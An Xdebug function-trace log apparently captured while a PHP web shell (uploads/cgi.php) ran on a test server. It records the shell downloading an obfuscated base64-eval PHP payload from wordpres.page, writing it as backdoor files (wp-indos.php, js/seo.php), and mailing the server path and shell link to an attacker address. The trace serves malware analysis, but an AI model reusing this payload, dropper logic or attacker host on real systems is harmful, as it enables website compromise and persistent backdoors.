3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	3	$document_root_file = '/var/www/html/uploads'
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	4	$wp_detect = 0
4	21	0	0.011531	632128	file_exists	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	5	1	'/var/www/html/wp-load.php'
4	21	1	0.011563	632168
4	21	R			FALSE
4	22	0	0.011579	632072	explode	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	11	2	'/'	'/var/www/html/uploads'
4	22	1	0.011595	632648
4	22	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	11	$prefix = 5
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	12	$a = ''
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	13	$i = 0
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	15	$a = '../'
4	23	0	0.011659	632136	file_exists	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	16	1	'/var/www/html/uploads/../wp-load.php'
4	23	1	0.011677	632176
4	23	R			FALSE
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	13	$i++
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	15	$a = '../../'
4	24	0	0.011713	632168	file_exists	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	16	1	'/var/www/html/uploads/../../wp-load.php'
4	24	1	0.011731	632208
4	24	R			FALSE
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	13	$i++
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	15	$a = '../../../'
4	25	0	0.011765	632192	file_exists	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	16	1	'/var/www/html/uploads/../../../wp-load.php'
4	25	1	0.011782	632232
4	25	R			FALSE
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	13	$i++
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	15	$a = '../../../../'
4	26	0	0.011816	632192	file_exists	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	16	1	'/var/www/html/uploads/../../../../wp-load.php'
4	26	1	0.011832	632232
4	26	R			FALSE
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	13	$i++
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	15	$a = '../../../../../'
4	27	0	0.011864	632192	file_exists	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	16	1	'/var/www/html/uploads/../../../../../wp-load.php'
4	27	1	0.011881	632232
4	27	R			FALSE
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	13	$i++
4	28	0	0.011904	632112	http_get	1		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	63	1	'#'
5	29	0	0.011919	632112	curl_init	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	108	1	'#'
5	29	1	0.011968	633056
5	29	R			resource(3) of type (curl)
4		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	108	$im = resource(3) of type (curl)
5	30	0	0.012002	633024	curl_setopt	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	109	3	resource(3) of type (curl)	19913	1
5	30	1	0.012019	633120
5	30	R			TRUE
5	31	0	0.012032	633024	curl_setopt	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	110	3	resource(3) of type (curl)	78	10
5	31	1	0.012048	633120
5	31	R			TRUE
5	32	0	0.012061	633024	curl_setopt	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	111	3	resource(3) of type (curl)	52	1
5	32	1	0.012076	633120
5	32	R			TRUE
5	33	0	0.012088	633024	curl_setopt	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	112	3	resource(3) of type (curl)	42	0
5	33	1	0.012103	633120
5	33	R			TRUE
5	34	0	0.012115	633024	curl_exec	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	113	1	resource(3) of type (curl)
5	34	1	0.012183	633056
5	34	R			FALSE
4	28	1	0.012214	632112
4	28	R			FALSE
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	63	$code = FALSE
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	64	$wp_code = '/var/www/html/#'
4	35	0	0.012253	632152	fopen	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	65	2	'/var/www/html/#'	'w'
4	35	1	0.012300	632792
4	35	R			resource(5) of type (stream)
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	65	$open_code = resource(5) of type (stream)
4	36	0	0.012330	632720	fwrite	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	66	2	resource(5) of type (stream)	FALSE
4	36	1	0.012347	632784
4	36	R			0
4	37	0	0.012360	632720	fclose	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	67	1	resource(5) of type (stream)
4	37	1	0.012375	632320
4	37	R			TRUE
4	38	0	0.012388	632288	http_get	1		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	71	1	''
5	39	0	0.012402	632288	curl_init	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	108	1	''
5	39	1	0.012419	633232
5	39	R			resource(6) of type (curl)
4		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	108	$im = resource(6) of type (curl)
5	40	0	0.012448	633200	curl_setopt	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	109	3	resource(6) of type (curl)	19913	1
5	40	1	0.012463	633296
5	40	R			TRUE
5	41	0	0.012476	633200	curl_setopt	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	110	3	resource(6) of type (curl)	78	10
5	41	1	0.012491	633296
5	41	R			TRUE
5	42	0	0.012504	633200	curl_setopt	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	111	3	resource(6) of type (curl)	52	1
5	42	1	0.012518	633296
5	42	R			TRUE
5	43	0	0.012530	633200	curl_setopt	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	112	3	resource(6) of type (curl)	42	0
5	43	1	0.012544	633296
5	43	R			TRUE
5	44	0	0.012556	633200	curl_exec	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	113	1	resource(6) of type (curl)
5	44	1	0.012592	633232
5	44	R			FALSE
4	38	1	0.012617	632288
4	38	R			FALSE
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	71	$makale = FALSE
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	72	$wp_makale = '/var/www/html/'
4	45	0	0.012654	632328	fopen	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	73	2	'/var/www/html/'	'w'
4	45	1	0.012709	632400
4	45	R			FALSE
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	73	$open_makale = FALSE
4	46	0	0.012735	632328	fwrite	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	74	2	FALSE	FALSE
4	46	1	0.012757	632392
4	46	R			FALSE
4	47	0	0.012770	632328	fclose	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	75	1	FALSE
4	47	1	0.012789	632360
4	47	R			FALSE
4	48	0	0.012802	632328	expandDirectories	1		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	80	1	'/var/www/html'
4		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	95	$directories = []
5	49	0	0.012829	632328	scandir	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	96	1	'/var/www/html'
5	49	1	0.012864	632864
5	49	R			[0 => '#', 1 => '.', 2 => '..', 3 => 'uploads']
4		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	98	$dir = '/var/www/html/#'
5	50	0	0.012900	632872	is_dir	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	99	1	'/var/www/html/#'
5	50	1	0.012918	632928
5	50	R			FALSE
4		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	98	$dir = '/var/www/html/uploads'
5	51	0	0.012944	632896	is_dir	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	99	1	'/var/www/html/uploads'
5	51	1	0.012960	632944
5	51	R			TRUE
4		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	100	$directories[] = '/var/www/html/uploads'
5	52	0	0.012986	633280	expandDirectories	1		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	101	1	'/var/www/html/uploads'
5		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	95	$directories = []
6	53	0	0.013012	633280	scandir	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	96	1	'/var/www/html/uploads'
6	53	1	0.013042	633896
6	53	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'cgi.php', 4 => 'data', 5 => 'prepend.php']
5		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	98	$dir = '/var/www/html/uploads/.htaccess'
6	54	0	0.013076	633920	is_dir	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	99	1	'/var/www/html/uploads/.htaccess'
6	54	1	0.013094	633968
6	54	R			FALSE
5		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	98	$dir = '/var/www/html/uploads/cgi.php'
6	55	0	0.013118	633928	is_dir	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	99	1	'/var/www/html/uploads/cgi.php'
6	55	1	0.013134	633968
6	55	R			FALSE
5		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	98	$dir = '/var/www/html/uploads/data'
6	56	0	0.013158	633928	is_dir	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	99	1	'/var/www/html/uploads/data'
6	56	1	0.013175	633968
6	56	R			TRUE
5		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	100	$directories[] = '/var/www/html/uploads/data'
6	57	0	0.013199	634304	expandDirectories	1		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	101	1	'/var/www/html/uploads/data'
6		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	95	$directories = []
7	58	0	0.013224	634304	scandir	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	96	1	'/var/www/html/uploads/data'
7	58	1	0.013253	634832
7	58	R			[0 => '.', 1 => '..', 2 => 'trace-1676256069.2834.xt.gz']
6		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	98	$dir = '/var/www/html/uploads/data/trace-1676256069.2834.xt.gz'
7	59	0	0.013285	634880	is_dir	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	99	1	'/var/www/html/uploads/data/trace-1676256069.2834.xt.gz'
7	59	1	0.013302	634944
7	59	R			FALSE
6	57	1	0.013316	634328
6	57	R			[]
6	60	0	0.013328	634328	array_merge	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	101	2	[0 => '/var/www/html/uploads/data']	[]
6	60	1	0.013346	634768
6	60	R			[0 => '/var/www/html/uploads/data']
5		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	101	$directories = [0 => '/var/www/html/uploads/data']
5		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	98	$dir = '/var/www/html/uploads/prepend.php'
6	61	0	0.013386	634392	is_dir	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	99	1	'/var/www/html/uploads/prepend.php'
6	61	1	0.013402	634416
6	61	R			FALSE
5	52	1	0.013415	633728
5	52	R			[0 => '/var/www/html/uploads/data']
5	62	0	0.013431	633728	array_merge	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	101	2	[0 => '/var/www/html/uploads']	[0 => '/var/www/html/uploads/data']
5	62	1	0.013447	634168
5	62	R			[0 => '/var/www/html/uploads', 1 => '/var/www/html/uploads/data']
4		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	101	$directories = [0 => '/var/www/html/uploads', 1 => '/var/www/html/uploads/data']
4	48	1	0.013477	632848
4	48	R			[0 => '/var/www/html/uploads', 1 => '/var/www/html/uploads/data']
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	80	$directories = [0 => '/var/www/html/uploads', 1 => '/var/www/html/uploads/data']
4	63	0	0.013506	632848	http_get	1		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	81	1	'https://wordpres.page/txt/lamer.txt'
5	64	0	0.013521	632848	curl_init	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	108	1	'https://wordpres.page/txt/lamer.txt'
5	64	1	0.013539	633792
5	64	R			resource(10) of type (curl)
4		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	108	$im = resource(10) of type (curl)
5	65	0	0.013573	633760	curl_setopt	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	109	3	resource(10) of type (curl)	19913	1
5	65	1	0.013589	633856
5	65	R			TRUE
5	66	0	0.013601	633760	curl_setopt	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	110	3	resource(10) of type (curl)	78	10
5	66	1	0.013617	633856
5	66	R			TRUE
5	67	0	0.013629	633760	curl_setopt	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	111	3	resource(10) of type (curl)	52	1
5	67	1	0.013644	633856
5	67	R			TRUE
5	68	0	0.013656	633760	curl_setopt	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	112	3	resource(10) of type (curl)	42	0
5	68	1	0.013670	633856
5	68	R			TRUE
5	69	0	0.013682	633760	curl_exec	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	113	1	resource(10) of type (curl)
5	69	1	0.373086	682944
5	69	R			'<?php eval(base64_decode(\'CiBnb3RvIFA0d0pNOyBBaTgxMDogJHgwelJ5ID0gJHVENjRfQ29tKCR1RDY0X0MwbSgkdUQ2NF9jMG0oIlwxMjVcMTE1XDE3MVx4NDFceDRhXHgzN1x4NWFceDJiXHg1Mlx4MzhcMTEwXDU3XHg0OFx4NGZceDcxXHg0MVx4NzlcMTIzXDE0M1x4NGNcMTAzXDEyNlx4NjZcMTEyXHg3NlwxMDNceDU2XHg0YVx4NmNceDUwXHg2OFx4NGZceDYxXDEwNlw2M1x4NmVceDQ0XHg2NFwxMzFcMTQ3XHg2Zlx4NzFceDUyXHg1MFwxNDFcNTdcNjZceDRkXDU3XHg3NVx4NzFcNjZcMTYyXDExMlwxNzJceDc5XHg0N1wxNzJceDZmXDE3Mlx4NjFceDQxXHgyYlx4NTdceDQ4XHg3NlwxNzBceDY2XHgzMVwxMzJceDMwXDYzXHg2OVx4NmZceDMxXDE1Mlx4NTNce'
4	63	1	0.374107	682000
4	63	R			'<?php eval(base64_decode(\'CiBnb3RvIFA0d0pNOyBBaTgxMDogJHgwelJ5ID0gJHVENjRfQ29tKCR1RDY0X0MwbSgkdUQ2NF9jMG0oIlwxMjVcMTE1XDE3MVx4NDFceDRhXHgzN1x4NWFceDJiXHg1Mlx4MzhcMTEwXDU3XHg0OFx4NGZceDcxXHg0MVx4NzlcMTIzXDE0M1x4NGNcMTAzXDEyNlx4NjZcMTEyXHg3NlwxMDNceDU2XHg0YVx4NmNceDUwXHg2OFx4NGZceDYxXDEwNlw2M1x4NmVceDQ0XHg2NFwxMzFcMTQ3XHg2Zlx4NzFceDUyXHg1MFwxNDFcNTdcNjZceDRkXDU3XHg3NVx4NzFcNjZcMTYyXDExMlwxNzJceDc5XHg0N1wxNzJceDZmXDE3Mlx4NjFceDQxXHgyYlx4NTdceDQ4XHg3NlwxNzBceDY2XHgzMVwxMzJceDMwXDYzXHg2OVx4NmZceDMxXDE1Mlx4NTNce'
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	81	$css = '<?php eval(base64_decode(\'CiBnb3RvIFA0d0pNOyBBaTgxMDogJHgwelJ5ID0gJHVENjRfQ29tKCR1RDY0X0MwbSgkdUQ2NF9jMG0oIlwxMjVcMTE1XDE3MVx4NDFceDRhXHgzN1x4NWFceDJiXHg1Mlx4MzhcMTEwXDU3XHg0OFx4NGZceDcxXHg0MVx4NzlcMTIzXDE0M1x4NGNcMTAzXDEyNlx4NjZcMTEyXHg3NlwxMDNceDU2XHg0YVx4NmNceDUwXHg2OFx4NGZceDYxXDEwNlw2M1x4NmVceDQ0XHg2NFwxMzFcMTQ3XHg2Zlx4NzFceDUyXHg1MFwxNDFcNTdcNjZceDRkXDU3XHg3NVx4NzFcNjZcMTYyXDExMlwxNzJceDc5XHg0N1wxNzJceDZmXDE3Mlx4NjFceDQxXHgyYlx4NTdceDQ4XHg3NlwxNzBceDY2XHgzMVwxMzJceDMwXDYzXHg2OVx4NmZceDMxXDE1Mlx4NTNce'
4	70	0	0.374235	682000	preg_match	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	84	2	'#wp-content#'	'/var/www/html/uploads'
4	70	1	0.374468	682064
4	70	R			0
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	86	$css_file = '/var/www/html/uploads/wp-indos.php'
4	71	0	0.374498	682064	fopen	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	87	2	'/var/www/html/uploads/wp-indos.php'	'w'
4	71	1	0.374555	682616
4	71	R			resource(11) of type (stream)
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	87	$open_css = resource(11) of type (stream)
4	72	0	0.374586	682544	fwrite	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	88	2	resource(11) of type (stream)	'<?php eval(base64_decode(\'CiBnb3RvIFA0d0pNOyBBaTgxMDogJHgwelJ5ID0gJHVENjRfQ29tKCR1RDY0X0MwbSgkdUQ2NF9jMG0oIlwxMjVcMTE1XDE3MVx4NDFceDRhXHgzN1x4NWFceDJiXHg1Mlx4MzhcMTEwXDU3XHg0OFx4NGZceDcxXHg0MVx4NzlcMTIzXDE0M1x4NGNcMTAzXDEyNlx4NjZcMTEyXHg3NlwxMDNceDU2XHg0YVx4NmNceDUwXHg2OFx4NGZceDYxXDEwNlw2M1x4NmVceDQ0XHg2NFwxMzFcMTQ3XHg2Zlx4NzFceDUyXHg1MFwxNDFcNTdcNjZceDRkXDU3XHg3NVx4NzFcNjZcMTYyXDExMlwxNzJceDc5XHg0N1wxNzJceDZmXDE3Mlx4NjFceDQxXHgyYlx4NTdceDQ4XHg3NlwxNzBceDY2XHgzMVwxMzJceDMwXDYzXHg2OVx4NmZceDMxXDE1Mlx4NTNce'
4	72	1	0.374685	682608
4	72	R			47731
4	73	0	0.374700	682544	fclose	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	89	1	resource(11) of type (stream)
4	73	1	0.374717	682120
4	73	R			TRUE
4	74	0	0.374730	682088	preg_match	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	84	2	'#wp-content#'	'/var/www/html/uploads/data'
4	74	1	0.374747	682152
4	74	R			0
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	86	$css_file = '/var/www/html/uploads/data/wp-indos.php'
4	75	0	0.374773	682088	fopen	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	87	2	'/var/www/html/uploads/data/wp-indos.php'	'w'
4	75	1	0.374806	682640
4	75	R			resource(12) of type (stream)
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	87	$open_css = resource(12) of type (stream)
4	76	0	0.374874	682544	fwrite	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	88	2	resource(12) of type (stream)	'<?php eval(base64_decode(\'CiBnb3RvIFA0d0pNOyBBaTgxMDogJHgwelJ5ID0gJHVENjRfQ29tKCR1RDY0X0MwbSgkdUQ2NF9jMG0oIlwxMjVcMTE1XDE3MVx4NDFceDRhXHgzN1x4NWFceDJiXHg1Mlx4MzhcMTEwXDU3XHg0OFx4NGZceDcxXHg0MVx4NzlcMTIzXDE0M1x4NGNcMTAzXDEyNlx4NjZcMTEyXHg3NlwxMDNceDU2XHg0YVx4NmNceDUwXHg2OFx4NGZceDYxXDEwNlw2M1x4NmVceDQ0XHg2NFwxMzFcMTQ3XHg2Zlx4NzFceDUyXHg1MFwxNDFcNTdcNjZceDRkXDU3XHg3NVx4NzFcNjZcMTYyXDExMlwxNzJceDc5XHg0N1wxNzJceDZmXDE3Mlx4NjFceDQxXHgyYlx4NTdceDQ4XHg3NlwxNzBceDY2XHgzMVwxMzJceDMwXDYzXHg2OVx4NmZceDMxXDE1Mlx4NTNce'
4	76	1	0.374972	682608
4	76	R			47731
4	77	0	0.374986	682544	fclose	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	89	1	resource(12) of type (stream)
4	77	1	0.375003	682120
4	77	R			TRUE
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	117	$kime = 'byhero44@gmail.com'
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	118	$baslik = 'wsoff 2023'
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	119	$EL_MuHaMMeD = 'Dosya Yolu : /var/www/html\r\n'
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	120	$EL_MuHaMMeD .= 'Server Admin : webmaster@localhost\r\n'
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	121	$EL_MuHaMMeD .= 'Server isletim sistemi : Apache/2.4.52 (Ubuntu)\r\n'
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	122	$EL_MuHaMMeD .= 'Shell Link : http://localhost/uploads/cgi.php\r\n'
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	123	$EL_MuHaMMeD .= 'Avlanan Site : localhost\r\n'
4	78	0	0.375111	682312	mail	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	124	3	'byhero44@gmail.com'	'wsoff 2023'	'Dosya Yolu : /var/www/html\r\nServer Admin : webmaster@localhost\r\nServer isletim sistemi : Apache/2.4.52 (Ubuntu)\r\nShell Link : http://localhost/uploads/cgi.php\r\nAvlanan Site : localhost\r\n'
4	78	1	0.376044	682408
4	78	R			FALSE
4	79	0	0.376083	682312	fopen	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	170	2	'data.txt'	'r'
4	79	1	0.376117	682384
4	79	R			FALSE
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	170	$datas = FALSE
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	171	$i = 0
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	172	$i++
4	80	0	0.376168	682312	fgets	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	173	2	FALSE	1024
4	80	1	0.376184	682376
4	80	R			FALSE
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	173	$blue = FALSE
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	172	$i++
4	81	0	0.376219	682312	fgets	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	173	2	FALSE	1024
4	81	1	0.376233	682376
4	81	R			FALSE
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	173	$blue = FALSE
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	172	$i++
4	82	0	0.376266	682312	fgets	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	173	2	FALSE	1024
4	82	1	0.376280	682376
4	82	R			FALSE
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	173	$blue = FALSE
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	172	$i++
4	83	0	0.376311	682312	fgets	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	173	2	FALSE	1024
4	83	1	0.376324	682376
4	83	R			FALSE
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	173	$blue = FALSE
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	172	$i++
4	84	0	0.376355	682312	fgets	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	173	2	FALSE	1024
4	84	1	0.376369	682376
4	84	R			FALSE
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	173	$blue = FALSE
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	172	$i++
4	85	0	0.376399	682312	fgets	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	173	2	FALSE	1024
4	85	1	0.376413	682376
4	85	R			FALSE
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	173	$blue = FALSE
4	86	0	0.376435	682312	fopen	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	175	2	'js/seo.php'	'r'
4	86	1	0.376476	682384
4	86	R			FALSE
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	175	$datasi = FALSE
4	87	0	0.376514	682312	mkdir	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	176	1	'js'
4	87	1	0.376554	682352
4	87	R			TRUE
4	88	0	0.376568	682312	file_get_contents	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	177	1	'https://wordpres.page/txt/lamer.txt'
4	88	1	0.668513	733304
4	88	R			'<?php eval(base64_decode(\'CiBnb3RvIFA0d0pNOyBBaTgxMDogJHgwelJ5ID0gJHVENjRfQ29tKCR1RDY0X0MwbSgkdUQ2NF9jMG0oIlwxMjVcMTE1XDE3MVx4NDFceDRhXHgzN1x4NWFceDJiXHg1Mlx4MzhcMTEwXDU3XHg0OFx4NGZceDcxXHg0MVx4NzlcMTIzXDE0M1x4NGNcMTAzXDEyNlx4NjZcMTEyXHg3NlwxMDNceDU2XHg0YVx4NmNceDUwXHg2OFx4NGZceDYxXDEwNlw2M1x4NmVceDQ0XHg2NFwxMzFcMTQ3XHg2Zlx4NzFceDUyXHg1MFwxNDFcNTdcNjZceDRkXDU3XHg3NVx4NzFcNjZcMTYyXDExMlwxNzJceDc5XHg0N1wxNzJceDZmXDE3Mlx4NjFceDQxXHgyYlx4NTdceDQ4XHg3NlwxNzBceDY2XHgzMVwxMzJceDMwXDYzXHg2OVx4NmZceDMxXDE1Mlx4NTNce'
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	177	$dos = '<?php eval(base64_decode(\'CiBnb3RvIFA0d0pNOyBBaTgxMDogJHgwelJ5ID0gJHVENjRfQ29tKCR1RDY0X0MwbSgkdUQ2NF9jMG0oIlwxMjVcMTE1XDE3MVx4NDFceDRhXHgzN1x4NWFceDJiXHg1Mlx4MzhcMTEwXDU3XHg0OFx4NGZceDcxXHg0MVx4NzlcMTIzXDE0M1x4NGNcMTAzXDEyNlx4NjZcMTEyXHg3NlwxMDNceDU2XHg0YVx4NmNceDUwXHg2OFx4NGZceDYxXDEwNlw2M1x4NmVceDQ0XHg2NFwxMzFcMTQ3XHg2Zlx4NzFceDUyXHg1MFwxNDFcNTdcNjZceDRkXDU3XHg3NVx4NzFcNjZcMTYyXDExMlwxNzJceDc5XHg0N1wxNzJceDZmXDE3Mlx4NjFceDQxXHgyYlx4NTdceDQ4XHg3NlwxNzBceDY2XHgzMVwxMzJceDMwXDYzXHg2OVx4NmZceDMxXDE1Mlx4NTNce'
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	178	$data = 'js/seo.php'
4	89	0	0.668754	733264	touch	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	179	1	'js/seo.php'
4	89	1	0.668800	733304
4	89	R			TRUE
4	90	0	0.668816	733264	fopen	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	180	2	'js/seo.php'	'w'
4	90	1	0.668852	733792
4	90	R			resource(14) of type (stream)
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	180	$ver = resource(14) of type (stream)
